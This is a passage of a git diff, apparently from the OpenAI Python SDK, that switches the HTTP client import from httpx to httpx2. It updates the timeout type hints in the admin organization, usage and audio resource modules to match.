) -> RoleDeleteResponse:
"""
Unassigns a project role from a user within a project.
@@ -274,7 +274,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns a project role to a user within a project.
@@ -318,7 +318,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves a project role assigned to a user.
@@ -368,7 +368,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[RoleListResponse, AsyncNextCursorPage[RoleListResponse]]:
"""
Lists the project roles assigned to a user within a project.
@@ -425,7 +425,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns a project role from a user within a project.
diff --git a/src/openai/resources/admin/organization/projects/users/users.py b/src/openai/resources/admin/organization/projects/users/users.py
index a1633968df..e714b86196 100644
--- a/src/openai/resources/admin/organization/projects/users/users.py
+++ b/src/openai/resources/admin/organization/projects/users/users.py
@@ -4,7 +4,7 @@
from typing import Optional
-import httpx
+import httpx2
from ...... import _legacy_response
from .roles import (
@@ -65,7 +65,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectUser:
"""Adds a user to the project.
@@ -119,7 +119,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectUser:
"""
Retrieves a user in the project.
@@ -162,7 +162,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectUser:
"""
Modifies a user's role in the project.
@@ -208,7 +208,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ProjectUser]:
"""
Returns a list of users in the project.
@@ -262,7 +262,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserDeleteResponse:
"""
Deletes a user from the project.
@@ -334,7 +334,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectUser:
"""Adds a user to the project.
@@ -388,7 +388,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectUser:
"""
Retrieves a user in the project.
@@ -431,7 +431,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectUser:
"""
Modifies a user's role in the project.
@@ -477,7 +477,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ProjectUser, AsyncConversationCursorPage[ProjectUser]]:
"""
Returns a list of users in the project.
@@ -531,7 +531,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserDeleteResponse:
"""
Deletes a user from the project.
diff --git a/src/openai/resources/admin/organization/roles.py b/src/openai/resources/admin/organization/roles.py
index aa4f19f504..5ecd2f7626 100644
--- a/src/openai/resources/admin/organization/roles.py
+++ b/src/openai/resources/admin/organization/roles.py
@@ -5,7 +5,7 @@
from typing import Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Creates a custom role for the organization.
@@ -102,7 +102,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Retrieves an organization role.
@@ -142,7 +142,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Updates an existing organization role.
@@ -195,7 +195,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[Role]:
"""
Lists the roles configured for the organization.
@@ -246,7 +246,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Deletes a custom role from the organization.
@@ -306,7 +306,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Creates a custom role for the organization.
@@ -355,7 +355,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Retrieves an organization role.
@@ -395,7 +395,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Updates an existing organization role.
@@ -448,7 +448,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Role, AsyncNextCursorPage[Role]]:
"""
Lists the roles configured for the organization.
@@ -499,7 +499,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Deletes a custom role from the organization.
diff --git a/src/openai/resources/admin/organization/spend_alerts.py b/src/openai/resources/admin/organization/spend_alerts.py
index fc36554617..8b601835f7 100644
--- a/src/openai/resources/admin/organization/spend_alerts.py
+++ b/src/openai/resources/admin/organization/spend_alerts.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlert:
"""
Creates an organization spend alert.
@@ -105,7 +105,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlert:
"""
Retrieves an organization spend alert.
@@ -146,7 +146,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlert:
"""
Updates an organization spend alert.
@@ -203,7 +203,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[OrganizationSpendAlert]:
"""Lists organization spend alerts.
@@ -259,7 +259,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlertDeleted:
"""
Deletes an organization spend alert.
@@ -320,7 +320,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlert:
"""
Creates an organization spend alert.
@@ -372,7 +372,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlert:
"""
Retrieves an organization spend alert.
@@ -413,7 +413,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlert:
"""
Updates an organization spend alert.
@@ -470,7 +470,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[OrganizationSpendAlert, AsyncConversationCursorPage[OrganizationSpendAlert]]:
"""Lists organization spend alerts.
@@ -526,7 +526,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendAlertDeleted:
"""
Deletes an organization spend alert.
diff --git a/src/openai/resources/admin/organization/spend_limit.py b/src/openai/resources/admin/organization/spend_limit.py
index b7f2745d2a..fd79775853 100644
--- a/src/openai/resources/admin/organization/spend_limit.py
+++ b/src/openai/resources/admin/organization/spend_limit.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Query, Headers, NotGiven, not_given
@@ -48,7 +48,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendLimit:
"""Get the organization's hard spend limit."""
return self._get(
@@ -74,7 +74,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendLimit:
"""
Create or replace the organization's hard spend limit.
@@ -123,7 +123,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendLimitDeleted:
"""Delete the organization's hard spend limit."""
return self._delete(
@@ -167,7 +167,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendLimit:
"""Get the organization's hard spend limit."""
return await self._get(
@@ -193,7 +193,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendLimit:
"""
Create or replace the organization's hard spend limit.
@@ -242,7 +242,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationSpendLimitDeleted:
"""Delete the organization's hard spend limit."""
return await self._delete(
diff --git a/src/openai/resources/admin/organization/usage.py b/src/openai/resources/admin/organization/usage.py
index 5c2f2b5947..5dbda76f3c 100644
--- a/src/openai/resources/admin/organization/usage.py
+++ b/src/openai/resources/admin/organization/usage.py
@@ -5,7 +5,7 @@
from typing import List
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -80,7 +80,7 @@ def audio_speeches(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageAudioSpeechesResponse:
"""
Get audio speeches usage details for the organization.
@@ -166,7 +166,7 @@ def audio_transcriptions(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageAudioTranscriptionsResponse:
"""
Get audio transcriptions usage details for the organization.
@@ -249,7 +249,7 @@ def code_interpreter_sessions(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageCodeInterpreterSessionsResponse:
"""
Get code interpreter sessions usage details for the organization.
@@ -327,7 +327,7 @@ def completions(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageCompletionsResponse:
"""
Get completions usage details for the organization.
@@ -416,7 +416,7 @@ def costs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageCostsResponse:
"""
Get costs details for the organization.
@@ -493,7 +493,7 @@ def embeddings(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageEmbeddingsResponse:
"""
Get embeddings usage details for the organization.
@@ -579,7 +579,7 @@ def file_search_calls(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageFileSearchCallsResponse:
"""
Get file search calls usage details for the organization.
@@ -668,7 +668,7 @@ def images(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageImagesResponse:
"""
Get images usage details for the organization.
@@ -763,7 +763,7 @@ def moderations(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageModerationsResponse:
"""
Get moderations usage details for the organization.
@@ -846,7 +846,7 @@ def vector_stores(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageVectorStoresResponse:
"""
Get vector stores usage details for the organization.
@@ -924,7 +924,7 @@ def web_search_calls(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageWebSearchCallsResponse:
"""
Get web search calls usage details for the organization.
@@ -1035,7 +1035,7 @@ async def audio_speeches(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageAudioSpeechesResponse:
"""
Get audio speeches usage details for the organization.
@@ -1121,7 +1121,7 @@ async def audio_transcriptions(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageAudioTranscriptionsResponse:
"""
Get audio transcriptions usage details for the organization.
@@ -1204,7 +1204,7 @@ async def code_interpreter_sessions(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageCodeInterpreterSessionsResponse:
"""
Get code interpreter sessions usage details for the organization.
@@ -1282,7 +1282,7 @@ async def completions(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageCompletionsResponse:
"""
Get completions usage details for the organization.
@@ -1371,7 +1371,7 @@ async def costs(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageCostsResponse:
"""
Get costs details for the organization.
@@ -1448,7 +1448,7 @@ async def embeddings(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageEmbeddingsResponse:
"""
Get embeddings usage details for the organization.
@@ -1534,7 +1534,7 @@ async def file_search_calls(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageFileSearchCallsResponse:
"""
Get file search calls usage details for the organization.
@@ -1623,7 +1623,7 @@ async def images(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageImagesResponse:
"""
Get images usage details for the organization.
@@ -1718,7 +1718,7 @@ async def moderations(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageModerationsResponse:
"""
Get moderations usage details for the organization.
@@ -1801,7 +1801,7 @@ async def vector_stores(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageVectorStoresResponse:
"""
Get vector stores usage details for the organization.
@@ -1879,7 +1879,7 @@ async def web_search_calls(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UsageWebSearchCallsResponse:
"""
Get web search calls usage details for the organization.
diff --git a/src/openai/resources/admin/organization/users/roles.py b/src/openai/resources/admin/organization/users/roles.py
index 5baff40973..bc9304e4ec 100644
--- a/src/openai/resources/admin/organization/users/roles.py
+++ b/src/openai/resources/admin/organization/users/roles.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns an organization role to a user within the organization.
@@ -94,7 +94,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves an organization role assigned to a user.
@@ -136,7 +136,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[RoleListResponse]:
"""
Lists the organization roles assigned to a user within the organization.
@@ -190,7 +190,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns an organization role from a user within the organization.
@@ -251,7 +251,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns an organization role to a user within the organization.
@@ -292,7 +292,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves an organization role assigned to a user.
@@ -334,7 +334,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[RoleListResponse, AsyncNextCursorPage[RoleListResponse]]:
"""
Lists the organization roles assigned to a user within the organization.
@@ -388,7 +388,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns an organization role from a user within the organization.
diff --git a/src/openai/resources/admin/organization/users/users.py b/src/openai/resources/admin/organization/users/users.py
index 5ee162a903..4a66571663 100644
--- a/src/openai/resources/admin/organization/users/users.py
+++ b/src/openai/resources/admin/organization/users/users.py
@@ -4,7 +4,7 @@
from typing import Optional
-import httpx
+import httpx2
from ..... import _legacy_response
from .roles import (
@@ -62,7 +62,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationUser:
"""
Retrieves a user by their identifier.
@@ -103,7 +103,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationUser:
"""
Modifies a user's role in the organization.
@@ -159,7 +159,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[OrganizationUser]:
"""
Lists all of the users in the organization.
@@ -213,7 +213,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserDeleteResponse:
"""
Deletes a user from the organization.
@@ -275,7 +275,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationUser:
"""
Retrieves a user by their identifier.
@@ -316,7 +316,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationUser:
"""
Modifies a user's role in the organization.
@@ -372,7 +372,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[OrganizationUser, AsyncConversationCursorPage[OrganizationUser]]:
"""
Lists all of the users in the organization.
@@ -426,7 +426,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserDeleteResponse:
"""
Deletes a user from the organization.
diff --git a/src/openai/resources/audio/speech.py b/src/openai/resources/audio/speech.py
index 91ac32ab96..d0b255b4fb 100644
--- a/src/openai/resources/audio/speech.py
+++ b/src/openai/resources/audio/speech.py
@@ -5,7 +5,7 @@
from typing import Union
from typing_extensions import Literal
-import httpx
+import httpx2
from ... import _legacy_response
from ..._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -62,7 +62,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Generates audio from the input text.
@@ -166,7 +166,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
Generates audio from the input text.
diff --git a/src/openai/resources/audio/transcriptions.py b/src/openai/resources/audio/transcriptions.py
index b7f3a9ba35..80b7cbdcf6 100644
--- a/src/openai/resources/audio/transcriptions.py
+++ b/src/openai/resources/audio/transcriptions.py
@@ -6,7 +6,7 @@
from typing import TYPE_CHECKING, List, Union, Mapping, Optional, cast
from typing_extensions import Literal, overload, assert_never
-import httpx
+import httpx2
from ... import _legacy_response
from ..._files import deepcopy_with_paths
@@ -85,7 +85,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Transcription:
"""
Transcribes audio into the input language.
@@ -180,7 +180,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> TranscriptionVerbose: ...
@overload
@@ -203,7 +203,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str: ...
@overload
@@ -226,7 +226,7 @@ def create(
